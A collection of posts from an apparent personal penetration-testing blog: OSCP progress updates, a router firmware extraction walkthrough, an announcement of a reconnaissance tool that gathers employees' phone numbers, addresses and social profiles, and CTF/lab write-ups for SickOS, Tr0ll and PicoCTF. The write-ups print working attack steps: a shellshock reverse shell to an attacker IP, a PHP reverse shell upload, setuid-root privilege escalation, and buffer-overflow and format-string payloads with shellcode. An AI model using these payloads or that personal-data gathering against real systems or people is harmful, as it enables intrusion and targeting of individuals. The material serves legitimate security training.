PreEx: Pre-Exploitation Intelligence Gathering

I have recently been working on PreEx, a pre-exploitation intelligence gathering program.

PreEx

My goal with PreEx is to make it easier to gather all the information necessary in order to launch a targeted attack. In combination with other tools such as Tuoni and Cryptan, PreEx can be used to better fingerprint targets and carry out attacks more efficiently.

The use of this tool is to be limited to testing purposes under legal authority.

The current version of PreEx is version 0.

Current capabilities:
* Organization email addresses
* Organization hostnames-IPs
* Target Phone numbers
* Employee social media profiles
* Target Social media profiles
* Current and past addresses
* DNS information
* Registered domain holder information
* SNMP device enumeration
* Samba device enumeration

Future capabilities:
* Relevant contacts
* Events to attend
* Locations visited
* Interests
* Operating System used
* Software used

More functionalities and capabilities will be added in the future.

 

 

Reverse Engineering Firmware: Linksys WRT1900AC

Device: Linksys WRT1900AC
Device Type: Router
Firmware: Ver. 2.0.8.177401

screenshot 9

Purpose:
Analyze firmware image and extract data in order to search for bugs and vulnerabilities.

Link to Firmware Download:
http://www.linksys.com/pl/support-article?articleNum=148550

Download the firmware from the Linksys website:
http://www.linksys.com/pl/support-article?articleNum=148550

screenshot

Running the commands “strings” and “hexdump” to extract data:
strings -n 10 FW_WRT1900ACv2_2.0.8.177401_prod.img > strings.out
hexdump -C FW_WRT1900ACv2_2.0.8.177401_prod.img > hex.out

Analyzing the strings.out file:

screenshot 2screenshot 3

Notice the references to Linux, Marvell Armada 385 and JFFS2.

Running “binwalk” to further analyze the image:

screenshot 6

Important files:
26736    : The kernel
6291456    : The filesystem

Extracting the kernel and the file system with “dd”:
dd if=FW_WRT1900ACv2_2.0.8.177401_prod.img bs=1 skip=26736 of=kernel.gz
dd if=FW_WRT1900ACv2_2.0.8.177401_prod.img bs=1 skip=6291456 of=wrt1900ac.jffs2

screenshot 4screenshot 5

Decompress the .gz file:
gzip -d kernel.gz

Running the commands “strings” and “head” to preview the kernel data:
strings strings.out | head -10

screenshot 8

Running “binwalk” to further analyze the kernel:

screenshot 7

Have fun. 🙂

Officially OSCP Certified

Today I received the wonderful news that I passed the Offensive Security Certified Professional (OSCP) examination and I am now an OSCP. It was definitely the highlight of the day.

The examination consisted of a 24-hour limited to root/system five different machines. After this, you had to submit a penetration test report, and optionally, a lab and course report.

The labs consisted of over 50 machines and various subnets, and came along with the Penetration Testing with Kali Linux (PWK) course and one exam attempt.

I ended up owning 32 machines in the labs and gaining access to the subnets. Although I paid for the 90 days option, I was able to complete everything within 60 days. Having said that, I still recommend the 90 days option as a precaution.

My plan for the exam was the same as for the labs, which you can find here.

The battle plan was as follows:

  • Write the report as I go along
  • Pick the low hanging fruit first
  • Take a break whenever I feel a machine is “too hard”
  • Avoid using Metasploit
  • Build/execute attack tools/exploits that I can reuse
  • Identify the attack vectors and determine which is best, before compromising the system; the best being a balance between reliability, speed, and efficiency
  • Have fun; take a break when things don’t feel very fun anymore

This battle plan worked perfectly for me for both the labs and the exam. With regards to the scripts I wrote, you can find some of them scattered throughout my Github page.

I wrote many little (but very useful) intelligence gathering scripts and many exploit ports to Python. In the Github you will find the intel gathering scripts along with other goodies, though not the particular exploit scripts.

The journey was extremely fun and very rewarding. As many others have stated, one learns the value of proper enumeration/intelligence gathering. A great additional for me was learning about KeepNote, which is a great EverNote-like software available in Kali Linux. Thanks to journey not only did I learn a lot in the technical realm, but also in the report-writing realm. Expect my future write-ups to include proper explanations and screenshots.

I am now officially OSCP certified, and officially looking for penetration testing jobs and other offensive security positions. If you feel you can help me land a job, feel free to reach out! The beer’s on me.

I tried harder.

 

OSCP: Nine Days In, 21 Machines Rooted

It has been nine days since I started the OSCP labs.

I have been having a ton of fun, and have compromised 21 machines so far.

I have been following the battle plan I established when I started the labs, and it was been working beautifully. So that being said, I recommend others considering taking the OSCP to follow my strategy. It has allowed me to have a lot of fun, minimize stress, and learn a ton.

Before starting the OSCP journey, I used to go into CTFs and war games and try out the most common attack vectors (which isn’t such a bad tactic) and just kept on attacking. Now, I have learned the value of proper enumeration and understanding the underlying services and systems. If before my weapon of choice was the machine gun, now it is the sniper rifle. Of course, both have their uses.

Onwards and upwards.

OSCP: Done with the course, Unto the Labs

Two days ago, I completed the PWK course along with the proper reporting of the challenges. The course was a nice introduction to what it takes to perform a penetration test, and it served as a good base to build on with the experience in the labs.

I started the OSCP labs yesterday. I have put in around four hours so far, and I have been able to root three machines already. I am close to rooting another two, having already compromised them, and I plan on “dealing the killing blow” later today. I actually started off by performing a network-wide intelligence-gathering effort. This expedites my attacks going forward, as I have a good information base with which to proceed.

My plan going into the labs is as follows:

  • Write the report as I go along
  • Pick the low hanging fruit first
  • Take a break whenever I feel a machine is “too hard”
  • Avoid using Metasploit
  • Build/execute attack tools/exploits that I can reuse
  • Identify the attack vectors and determine which is best, before compromising the system; the best being a balance between reliability, speed, and efficiency
  • Have fun; take a break when things don’t feel very fun anymore

I will keep you updated on my progress.

OSCP: 80% Done with the PWK Course

I’m currently 80% done with the “Penetration Testing with Kali Linux (PWK)” course that comes as part of the OSCP certification.

Here are my thoughts so far:

  • While I already knew everything that I’ve covered so far, the reporting process has made me gain a deeper understanding of the techniques I use – which is a great plus.
  • Automation is awesome – I already knew this, but I have written scripts to take care of many enumeration tasks and attacks that are necessary yet repetitive.
  • I have become more proficient at file transfers that don’t get tripped by Anti Viruses and firewalls.
  • I have become more proficient at web application attack techniques and processes – such as leveraging local file inclusion vulnerabilities, code execution, uploading files and getting a shell.
  • I have written some very handy privilege escalation shell-related scripts thanks to being encouraged to look for more ways to exploit the systems.
  • I have been able to exercise my Powershell skills in order to compromise systems – which are a set of very handy skills to have.

I will very likely start attacking the lab machines next week, and I’m extremely excited about it.

 

Side-Notes:

  • I have uploaded some of my “everyday” Python scripts to my Github account. Check them out. The recent additions include: key loggers, screen grabbers, format conversion scripts, and more.
  • I encourage everyone to follow me on Twitter. I constantly post interest research papers and PoCs which you might be interested in.

 

Until next time.

OSCP: Preparation for the OSCP & My Experience So Far

I recently started the Offensive Security Certified Professional (OSCP) labs.

The OSCP certification examination has students undergo a 24-hour exam, where they must conduct a penetration test or security assessment of an organization. The ultimate goal is for students to compromise the entire network and write a penetration test report afterwards, where they demonstrate how they compromised the network.

The certification comes with a course manual, as well as access to a virtual network where the students can put their skills to practice. The goal for these labs is the same as for the examination, to compromise the entire network.

I registered for the 90-days package and started the course/labs last Saturday. I am currently three days in and about half way through the course. While I won’t be able to detail what the course or labs are comprised of, I will post future updates on where I am so far (how many machines I have compromised), as well as any tips I can share for how to prepare.

Preparation for the OSCP Labs

Before registering for the labs, I practiced with several vulnerable boxes that were touted online as good simulators of the actual labs experience.

The vulnerable machines I practiced with were:

The links above are write-ups I published on how I compromised the machines. The blog posts not only contain walkthroughs, but also links to download the machines so that you may try them yourself.

Aside from the machines mentioned above, I also participated in various Capture the Flags, as well as completed several wargames, some of which you can find write-ups for here in my blog.

The Experience So Far

As I mentioned before, I am currently half way through the course.

While I already knew how to do the things that have been covered so far, I have learned to appreciate the importance of taking screenshots to document one’s findings. I also began using KeepNote, which is an awesome tool similar to EverNote. The great thing about KeepNote is that not only can you create notebooks, folders, and pages, but you can also take screenshots right from the program.

While I can’t comment on the exact contents of the course manual, I can say that it provides a solid foundation from with which to build on.

I highly recommend that those considering registering for the labs take the 60-days or 90-days option. There is a lot of reporting to be done if one wants to go for maximum points, so ample time is necessary.

Stay tuned.

 

SickOS Write-Up

What follows is a write-up of two vulnerable machines, SickOS 1.1 and SickOS 1.2.

SickOS was inspired by the OSCP labs.

The goal is simple: compromise the system and get root.

[*] STATUS: COMPLETED

SickOS 1.1 Write-Up

1) nmap -sS -sV -Pn -T4 192.168.189.0/24
”’
Note the following ports and services are up and running:
ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open http-proxy Squid http proxy 3.1.19
8080/tcp closed http-proxy

Time to do some research.
”’

2) Start Metasploit -> search squid
3) use auxiliary/scanner/http/squid_pivot_scanning -> show options
4) set RANGE 192.168.189.208 -> set RHOSTS 192.168.189.208 -> set RPORT 3128
5) exploit
# We can navigate to port 80 under a proxy using port 3128

6) nikto -h 192.168.189.208 -useproxy 192.168.189.208:3128
”’
Checking for vulnerabilities; the shellshock vulnerability might be our way in

+ OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the ‘shellshock’ vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271)
”’

7) Open Burp Proxy with Intercept On
8) In Burp: User options -> Upstream Proxy Servers
Destination host: 192.168.189.208
Proxy host: 192.168.189.208
Proxy port: 3128

9) Browse to: 192.168.189.208/cgi-bin/status
10) Modify User-Agent with: () { :;}; /bin/bash -i >& /dev/tcp/192.168.189.130/443 0>&1
# Wait a bit, it takes a while

11) cd /var/www
12) file wolfcms -> cd wolfcms -> ls -> cat config.php
”’
Notice the MySQL credentials:
define(‘DB_DSN’, ‘mysql:dbname=wolf;host=localhost;port=3306’);
define(‘DB_USER’, ‘root’);
define(‘DB_PASS’, ‘john@123’);
define(‘TABLE_PREFIX’, ”);
”’

13) su sickos
# We get an error: su: must be run from a terminal

14) echo “import pty; pty.spawn(‘/bin/bash’)” > /tmp/asdf.py
15) python /tmp/asdf.py
16) su sickos -> password: john@123
17) sudo -s -> password: john@123
18) cd /root
19) ls
20) cat a0216ea4d51874464078c618298b1367.txt

Flag: a0216ea4d51874464078c618298b1367
End-Notes:

Initially I had logged into the wolf cms service with admin:admin, however, it was taking too long to load pages, so I decided to go another way. That might be another method to compromise the system.

 

SickOS 1.2 Write-Up

1) nmap -sS -sV -Pn -T4 192.168.189.0/24
”’
Note the following ports and services are up and running:
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http lighttpd 1.4.28

Time to get to work.
”’

2) nikto -h 192.168.189.218
3) wfuzz –hc 404 -c -z file,/usr/share/wfuzz/wordlist/general/big.txt http://192.168.189.218/FUZZ
# “test” and “~” return results

4) Browse to: http://192.168.189.218/test/
5) Start Burp Proxy with Intercept On
6) Refresh the page -> Change the GET request to OPTIONS -> Right-click -> Do Intercept -> Response to this request
# Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK

7) Search for: php reverse shell code
8) wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
9) gedit php-reverse-shell.php
# Adjust IP and port accordingly

10) nc -nlvp 443
11) curl –upload-file php-reverse-shell.php -v -url http://192.168.189.218/test/php-reverse-shell.php -0 –http1.0

12) Refresh the page and click on the file we just uploaded
13) ps aux | grep root
# Checking which services are running as root
14) ls -al /etc/cron*
# Checking which jobs are scheduled

15) Search for: chkrootkit vulnerability
16) Read: https://www.exploit-db.com/exploits/33899/
”’
Steps to reproduce:

– Put an executable file named ‘update’ with non-root owner in /tmp (not
mounted noexec, obviously)
– Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.
”’

17) python -c ‘import pty ; pty.spawn(“/bin/bash”)’
# Getting a proper shell

Method A: To get root (slow)
18) echo ‘chmod 777 /etc/sudoers && echo “www-data ALL=NOPASSWD: ALL” >> /etc/sudoers && chmod 440 /etc/sudoers’ > /tmp/update
# Giving ourselves sudo power
# In theory this should work, but it was taking too long, so I went with Method B
Method B: To get root (fast)
18) cd /tmp/
19) cat << EOF >> root.c
int main(void)
{
setgid(0);
setuid(0);
execl(“/bin/sh”, “sh”, 0);
}
EOF

20) gcc -o root root.c
# Now we have to make ‘update’ interact with this executable

21) cat << EOF > update
#!/bin/bash
chown root /tmp/root
chgrp root /tmp/root
chmod u+s /tmp/root
EOF

22) chmod +x update
23) ls -al
# We’re ready to go
24) ./root
25) whoami
# We got root
26) cd /root
27) ls
28) cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt

Flag: 7d03aaa2bf93d80040f3f22ec6ad9d5a
End-Notes:
Very cool box. Note that for the chkrootkit exploit you could have also used Metasploit.

This was the last box I had as training for the OSCP labs. I first completed Kioptrix (1-5), then Tr0ll (1-2), and finally the two sickOS boxes. I’m signing up for the OSCP labs this week and aim to be OSCP certified within 90 days or less.

 

Tr0ll Write-Up

What follows is a write-up of two vulnerable machines, Tr0ll 1 and Tr0ll 2.

Tr0ll was inspired by the constant trolling of the machines within the OSCP labs.

The goal is simple, gain root and get Proof.txt from the /root directory.

[*] STATUS: COMPLETED

Tr0ll 1 Write-Up

1) nmap -sS -sV -Pn -T4 192.168.189.0/24
”’
Note the following ports and services are up and running:
ftp vsftpd 3.0.2
ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
http Apache httpd 2.4.7 ((Ubuntu))

”’

2) nikto -h 192.168.189.197
# It found a ‘/secret/’ directory mentioned in robots.txt which might be interesting
3) Browse to: 192.168.189.197
# Got trolled. Nice one.
# Let’s try attacking through ftp

4) ftp 192.168.189.197 -> anonymous:anonymous
# We’re in
5) ls -> get lol.pcap -> exit
6) strings lol.pcap
# Note: you almost found the sup3rs3cr3tdirlol 😛
7) Browse to: http://192.168.189.197/sup3rs3cr3tdirlol/
8) Download the binary
9) strings roflmao
# Note: Find address 0x0856BF to proceed
10) Browse to: http://192.168.189.197/0x0856BF/
11) Click on ‘good_luck’ -> which_one_lol.txt
12) wget http://192.168.189.197/0x0856BF/good_luck/which_one_lol.txt
12) Click on ‘this_folder_contains_the_password/’ -> Pass.txt
# Note: Either ‘Pass.txt’ or its contents ‘Good_job_:)’ could be the password
13) medusa -U which_one_lol.txt -p Pass.txt -h 192.168.189.197 -M ssh
# We found our way in
14) ssh overflow@192.168.189.197 -> Pass: Pass.txt
# We’re in
15) cat root/Proof.txt
# Permission denied, we’re going to have to do privilege escalation
16) find / -perm -o+w
# Searching for world writable files
# That /lib/log/cleaner.py file near the end looks interesting
17) vi /lib/log/cleaner.py
Modify the try:
os.system(‘usermod -aG sudo overflow’)

# Initially the modification didn’t seem to work, but by the third log on
# (it kept kicking us out) we finally became a sudoer
18) id
# Became a sudoer
19) sudo ls /root
20) sudo cat /root/proof.txt
# Got the flag

Flag: 702a8c18d29c6f3ca0d99ef5712bfbdc

End-Notes:
Pretty funny box, though slightly annoying when it kept logging us out. Fun overall.

 

Tr0ll 2 Write-Up

1) nmap -sS -sV -Pn -T4 192.168.189.0/24
”’
Note the following ports and services are up and running:
ftp vsftpd 2.0.8 or later
ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
http Apache httpd 2.2.22 ((Ubuntu))

Also notice that there were two network adapters. Perhaps some chaining?

”’

2) Browse to: 192.168.189.204
3) nikto -h 192.168.189.204
”’
+ Uncommon header ‘tcn’ found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15.

”’

4) wfuzz –hc 404 -c -z file,/usr/share/wfuzz/wordlist/general/big.txt http://192.168.189.204/FUZZ
# Fuzzing for directories – only index came up

5) Browse to: http://192.168.189.204/robots.txt

6) wfuzz –hc 404 -c -z file,/root/Documents/wargames/tr0ll/list.txt http://192.168.189.204/FUZZ

”’
Out of all the URLs only the following seem to work:
http://192.168.189.204/noob/
http://192.168.189.204/keep_trying/
http://192.168.189.204/dont_bother/
http://192.168.189.204/ok_this_is_it/

The filename of the images is: cat_the_troll
”’

7) Download all the images
8) tail -n 1 cat_the_troll.jpg cat_the_troll.jpg.1 cat_the_troll.jpg.2 cat_the_troll.jpg.3
# Notice on the third image (dont_bother) we get:
# Look Deep within y0ur_self for the answer

9) Browse to: http://192.168.189.204/y0ur_self/
10) wget http://192.168.189.204/y0ur_self/answer.txt
11) cat answer.txt | base64 -d > the_answer.txt
12) gedit the_answer.txt
# It’s a bunch of repeated words
13) uniq -u the_answer.txt > answerz.txt
14) gedit answerz.txt
# Notice the following string: ItCantReallyBeThisEasyRightLOL
# After trying it on the web app, ftp, and ssh, I decided to move on
15) ftp 192.168.189.204 -> Tr0ll:Tr0ll
# It was this easy

16) ls -> get lmao.zip -> exit
17) unzip lmao.zip
# It’s password encrypted
# The password is: ItCantReallyBeThisEasyRightLOL

18) file noob
# noob: PEM RSA private key
# This might very well be to log in via ssh

19) ssh noob@192.168.189.204 -i noob
# It prints out “TRY HARDER LOL!” and closes the connection
# Looks like it’s forcing this command (echo) to be run once we log in

20) Search for ‘ssh exploit’
21) Read: http://unix.stackexchange.com/questions/157477/how-can-shellshock-be-exploited-over-ssh
# We can use the shellshock exploit to run other commands

22) ssh noob@192.168.189.204 -i noob ‘() { :;}; /bin/bash’
23) id
# We’re in
24) pwd -> cd ../ -> ls -> ls tr0ll
# There’s a lmao.zip
25) cd / -> ls -> ls nothing_to_see_here -> ls nothing_to_see_here/choose_wisely
26) cd nothing_to_see_here/choose_wisely
27) ls door1 -> ls door2 -> ls door3
28) file door1/r00t -> file door2/r00t -> file door3/r00t
”’
After running all three files, we get the following:
– door1 r00t lets us input data
– door2 prints:
Good job, stand by, executing root shell…
BUHAHAHA NOOB!

– door3 r00t prints: 2 MINUTE HARD MODE LOL, and then bricks the system

Let’s go with door1. Binary exploitation?
”’

29) cd door1
30) gdb -q ./r00t
31) run $(python -c ‘print “A” * 500’)
# We get a segmentation fault
32) run $(python -c ‘print “A” * 300’)
33) run $(python -c ‘print “A” * 200’)
34) run $(python -c ‘print “A” * 250’)
35) run $(python -c ‘print “A” * 270’)
36) run $(python -c ‘print “A” * 268 + “B” * 4’)
# We control EIP

37) disas main
38) br *main+97
# Setting a breakpoint at leave
39) run $(python -c ‘print “A” * 268 + “B” * 4′)
40) x/100x $esp
”’
Notice where our A’s start
We can now load and run our shellcode

Let’s use execve /bin/sh shellcode I wrote, which is 25 bytes in size
”’

41) run $(python -c ‘print “A” * 268 + “\x80\xfb\xff\xbf” + “\x90” * 20 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80″‘)
# Confirming it works

42) ./r00t $(python -c ‘print “A” * 268 + “\x80\xfb\xff\xbf” + “\x90” * 20 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80″‘)

43) whoami
44) cat /root/Proof.txt
# Got the flag

Flag: a70354f0258dcc00292c72aab3c8b1e4

End-Notes:
Fun box!

PicoCTF 2014 Write-Up

What follows is a write-up of a Capture the Flag competition set up by Carnegie Mellon University, PicoCTF 2014.

Competitors were given a set of challenges which they had to complete to get a flag.

The categories included:

  • Cryptography
  • FBI
  • Forensics
  • Misc
  • Pwning
  • Reversing
  • Web

[*] Note 1: Written in the order completed.
[*] Note 2: I competed in this CTF by myself.

Miscellaneous – Tyrannousaurus Hex (10)

The contents of the flash drive appear to be password protected. On the back of the flash drive, you see the hexadecimal number 0xac06e9ba scribbled in ink. The password prompt, however, only accepts decimal numbers. What number should you enter? (Press the Hint button for advice on solving the challenge).

Solution:
# See format_convert.py
./format_convert.py 1d39f3a -2dec
Input: 30646074

Flag: 30646074

Miscellaneous – RoboPhoto (30)

Your father has been known to use the titles of his favorite books as passwords. While you don’t remember any of the names of the books, your father keeps a poster for one of them on his wall. Can you figure out the name of the book and unlock the CD?

Image link: https://picoctf.com/problem-static/misc/robo-photo/robophoto.jpg

Solution:
Right-click on the image -> Search Google for this image
Input: The Positronic Man

Flag: The Positronic Man

Cryptology – Caesar (20)

You find an encrypted message written on the documents. Can you decrypt it?
encrypted.txt

Link: link: https://picoctf.com/api/autogen/serve/encrypted.txt?static=false&pid=6d086db90583fcea884ecf10f2dc6319

Solution:
Browse to: http://md5decrypt.net/en/Caesar/
Paste encrypted message -> Bruteforce
# Note Caesar(3): thesecretpassphraseiseowfsewwuhretksysnkdfequdpnddm
Input: eowfsewwuhretksysnkdfequdpnddm

Flag: eowfsewwuhretksysnkdfequdpnddm

Web Exploitation – No Comment (20)

The CD you find has a copy of your father’s website: homepage.html. Maybe something is hidden in the site…

Link: https://picoctf.com/api/autogen/serve/homepage.html?static=false&pid=3099c443d360a2514f17f155fb65d5d2

Solution:
Right-click -> View Page Source Code
Input: flag_3d704fd985fc224bc7370811cef42ffa0dd103d1

Flag: flag_3d704fd985fc224bc7370811cef42ffa0dd103d1

Miscellaneous – Common Vulnerability Exercise (20)

This disc is encrypted. The surprisingly elaborate password hint refers to “the CVE Identifier for a 2014 vulnerability that allowed arbitrary code execution in Firefox via a buffer overflow in a speech codec”. If you found this “CVE-ID” thingy, it’d probably be the password.

Link: https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures

Solution:
Google: 2014 cve firefox buffer overflow speech codec
Input: CVE-2014-1542

Flag: CVE-2014-1542

Cryptology – The Valley of Fear (20)

The hard drive may be corrupted, but you were able to recover a small chunk of text. Scribbled on the back of the hard drive is a set of mysterious numbers. Can you discover the meaning behind these numbers? (1, 9, 4) (4, 2, 8) (4, 8, 3) (7, 1, 5) (8, 10, 1)

Link: https://picoctf.com/problem-static/crypto/the-valley-of-fear/book.txt

Solution:
# See document_word_finder.py
python document_word_finder.py book.txt search.txt
”’
(1, 9, 4) = the
(4, 2, 8) = flag
(4, 8, 3) = is
(7, 1, 5) = Ceremonial
(8, 10, 1) = plates
”’
Input: Ceremonial plates

Flag: Ceremonial plates

Web Exploitation – Internet Inspection (30)

On his computer, your father left open a browser with the Thyrin Lab Website. Can you find the hidden access code?

Link: https://picoctf.com/api/autogen/serve/index.html?static=false&pid=28baa70afa1967ff63b201f687b7533e

Solution:
Right-click -> View Page Source Code
Right-click -> Inspect Element
Inspect the “content-table” -> “contents”
Input: flag_d0aacebc468789b5fed8cd4a24a568a56e0be3bf

Flag: flag_d0aacebc468789b5fed8cd4a24a568a56e0be3bf

Forensics – Grep is Still your Friend (40)

The police need help decrypting one of your father’s files. Fortunately you know where he wrote down all his backup decryption keys as a backup (probably not the best security practice). You are looking for the key corresponding to daedaluscorp.txt.enc. The file is stored on the shell server at /problems/grepfriend/keys .

Solution:
ssh pico5131@shell2014.picoctf.com -p 22
ls /
cd /problems/grepfriends
grep daedaluscorp.txt.enc keys
Input: b2bee8664b754d0c85c4c0303134bca6

Flag: b2bee8664b754d0c85c4c0303134bca6

Cryptology – Substitution (50)

There’s an authorization code for some Thyrin Labs information here, along with someone’s favorite song. But it’s been encrypted! Find the authorization code.
encrypted.txt

Link: https://picoctf.com/api/autogen/serve/encrypted.txt?static=false&pid=0cffe6fd67e39c91501cb9d843984cb2

Solution:
Browse to: http://quipqiup.com/index.php
Input the encrypted text -> Solve
Input: beprepared

Flag: beprepared

Web Exploitation – Javascrypt (40)

Tyrin Robotics Lab uses a special web site to encode their secret messages. Can you determine the value of the secret key?

Link: https://picoctf.com/api/autogen/serve/index.html?static=false&pid=b1d725db54a1fb027ea6bbd78f9a7d0b

Solution:
Right-click -> View Page Source Code
Right-click -> Inspect Element -> Console
key
Input: flag_831

Flag: flag_831

Reverse Engineering – Basic ASM (60)

We found this program snippet.txt, but we’re having some trouble figuring it out. What’s the value of %eax when the last instruction (the NOP) runs?

Link: https://picoctf.com/api/autogen/serve/snippet.txt?static=false&pid=654a1385b6d2f9091efe2af864d8d2da

Solution:
Copy the assembly into Python format
# See basic_asm.py
python basic_asm.py
Input: 483369467

Flag: 483369467

Forensics – Pickle Jar (30)

The police station offers free pickles to police officers. However, someone stole the pickles from the pickle jar! You find a clue on a USB drive left at the scene of the crime.

Solution:
jar -xf pickle.jar
cat picke.p
Input: YOUSTOLETHEPICKLES

Flag: YOUSTOLETHEPICKLES

Forensics – Redacted (50)

You found a letter that may shed light on recent events.

Link: https://picoctf.com/problem-static/forensics/redacted/Redacted.pdf

Solution:
# We need to extract the images in the PDF
pdfimages Redacted.pdf ./
Input: one_two_three_four

Flag: one_two_three_four

Reverse Engineering – Tower of Toast (90)

Everyone loves the Tower of Hanoi puzzle. Well it appears the Toaster Bot wants you to play an essentially identical game called “Towers of Toast”. The game doesn’t seem to be working though… Can you win anyway? Perhaps by loading a winning saved game? Download the Java code here.

Link: https://picoctf.com/problem-static/reversing/towers-of-toast/Main.java

Solution:
gedit Main.java
# We will change the random function from random to fixed

Change:

for (int i = 0; i < GAME_SIZE; i++) {
int pole = rand.nextInt(3);
if (pole == 0) { pole1.add(BigInteger.valueOf(i)); }
else if (pole == 1) { pole2.add(BigInteger.valueOf(i)); }
else { pole3.add(BigInteger.valueOf(i)); }
To:

for (int i = 0; i < GAME_SIZE; i++) {
int pole = 0;
if (pole == 0) { pole1.add(BigInteger.valueOf(i)); }
else if (pole == 1) { pole2.add(BigInteger.valueOf(i)); }
else { pole3.add(BigInteger.valueOf(i)); }

javac Main.java
java Main
new
Input: 166589903787325219380851695350896256250980509594874862046961683989710

Flag: 166589903787325219380851695350896256250980509594874862046961683989710

Web Exploitation – Delicious! (60)

You have found the administrative control panel for the Daedalus Coperation Website: https://web2014.picoctf.com/delicious-5850932/login.php. Unfortunately, it requires that you be logged in. Can you find a way to convince the web site that you are, in fact, logged in?

Solution:
Open Cookie Manager+
Search for ‘pico’ -> web2014
Edit the content of session_id: 66
Refresh
Input: session_cookies_are_the_most_delicious

Flag: session_cookies_are_the_most_delicious

Forensics – Intercepted Post (40)

We intercepted some of your Dad’s web activity. Can you get a password from his traffic?. You can also view the traffic on CloudShark.

Link: https://www.cloudshark.org/captures/5d19d8de342c?filter=http.request.method

Solution:
Input: http.request.method == “POST” -> Press Enter
Check the second POST request and copy the password
Browse to: http://meyerweb.com/eric/tools/dencoder/
Input: flag%7Bpl%24_%24%24l_y0ur_l0g1n_form%24%7D
Copy the decoded string
Input: flag{pl$_$$l_y0ur_l0g1n_form$}

Flag: flag{pl$_$$l_y0ur_l0g1n_form$}

Binary Exploitation – This is the Endian (40)

This is the end! Solving this challenge will help you defeat Daedalus’s cyborg. You can find more information about endianness and the problem here. The flag is the smallest possible program input that causes the program to print “Access Granted”.

Link: https://picoctf.com/problem-static/binary/this-is-the-endian/endian.html#1

Solution:
# Note that the input is in Ascii
# 30646521 == 0de!
# 52657663 == Revc
Input: cveR!ed0

Flag: cveR!ed0

Reverse Engineering – Cyborg Secrets (80)

You found a password protected binary on the cyborg relating to its defensive security systems. Find the password and get the shutdown code! You can find it on the shell server at /home/cyborgsecrets/cyborg-defense or you can download it here.

Solution:
Open the cyborg_defense in Binary Ninja
Look at main
# Notice 0804855b {“2manyHacks_Debug_Admin_Test”}
./cyborg_defense 2manyHacks_Debug_Admin_Test
# Copy the ouput
Input: 403-shutdown-for-what

Flag: 403-shutdown-for-what

Forensics – Spoof Proof (60)

The police have retrieved a network trace of some suspicious activity. Most of the traffic is users viewing their own profiles on a social networking website, but one of the users on the network downloaded a file from the Thyrin Labs VPN and spoofed their IP address in order to hide their identity. Can you figure out the last name of person that accessed the Thyrin files, and the two source IP addresses they used?
[Example valid flag format: “davis,192.168.50.6,192.168.50.7”]

PCAP file available here. You can also view it on CloudShark

Solution:
Open in Wireshark
Filter: arp
”’
Notice that:
CadmusCo_2b:f7:02 (08:00:27:2b:f7:02) asks Who has 192.168.50.10 with two different IP addresses
First IP address: 192.168.50.3
Second IP address: 192.168.50.4
”’
Filter: ip.addr == 192.168.50.3
# It is john.johnson
Input: Johnson,192.168.50.3,192.168.50.4

Flag: Johnson,192.168.50.3,192.168.50.4

Web Exploitation – Toaster Control (50)

Daedalus Corp. uses a web interface to control some of their toaster bots. It looks like they removed the command ‘Shutdown & Turn Off’ from the control panel. Maybe the functionality is still there…

Link: http://web2014.picoctf.com/toaster-control-1040194/

Solution:
Click on one of the buttons
Edit: action=Shutdown%20%26%20Turn%20Off
Go
In
Input: flag_c49bdkeekr5zqgvc20vc

Flag: flag_c49bdkeekr5zqgvc20vc

Binary Exploitation – Write Right (50)

Can you change the secret? The binary can be found at /home/write_right/ on the shell server. The source can be found here.

Solution:
ssh pico5131@shell2014.picoctf.com -p 22
cd /home/write_right
ls
cat write_right.c
gdb -q ./write_right
disas main
”’
Note:

0x08048667 <+154>: mov 0x804a03c,%eax
0x0804866c <+159>: cmp $0x1337beef,%eax
”’
./write_right
0x804a03c
0x804a03c
Input: arbitrary_write_is_always_right

Flag: arbitrary_write_is_always_right

Binary Exploitation – Overflow (50)

This problem has a buffer overflow vulnerability! Can you get a shell, then use that shell to read flag.txt? You can solve this problem interactively here, and the source can be found here.

Link: https://picoctf.com/problem-static/binary/Overflow1/overflow1.html

Solution:
./overflow1 $(python -c ‘print “A” * 16 + “\xce\xfa\xde\xc0″‘)
cat flag.txt
Input: ooh_so_critical

Flag: ooh_so_critical

Reverse Engineering – Function Address (60)

We found this program file on some systems. But we need the address of the ‘find_string’ function to do anything useful! Can you find it for us?

Solution:
Open ‘problem’ in Binary Ninja
Look at the find_string function
Input: 0x8048444

Flag: 0x8048444

Forensics – Supercow (40)

Daedalus Corp. has a special utility for printing .cow files at /home/daedalus/supercow. Can you figure out how to get it to print out the flag?

Solution:
ssh pico5131@shell2014.picoctf.com -p 22
cd /home/daedalus/
ls
cat supercow.c
ln -s /home/daedalus/flag.txt ~/flag.cow
./supercow ~/flag.cow
Input: cows_drive_mooooving_vans

Flag: cows_drive_mooooving_vans

Binary Exploitation – Format (70)

This program is vulnerable to a format string attack! See if you can modify a variable by supplying a format string! The binary can be found at /home/format/ on the shell server. The source can be found here.

Solution:
ssh pico5131@shell2014.picoctf.com -p 22
cd /home/format
gdb -q ./format
p &secret
# secret is at 0x804a030
r “%p %p %p %p %p %p %p %p %p”
# secret is at 7
r $(python -c ‘print “%1337x%7$hn”‘)
# We get a shell
q
./format $(python -c ‘print “%1337x%7$hn”‘)
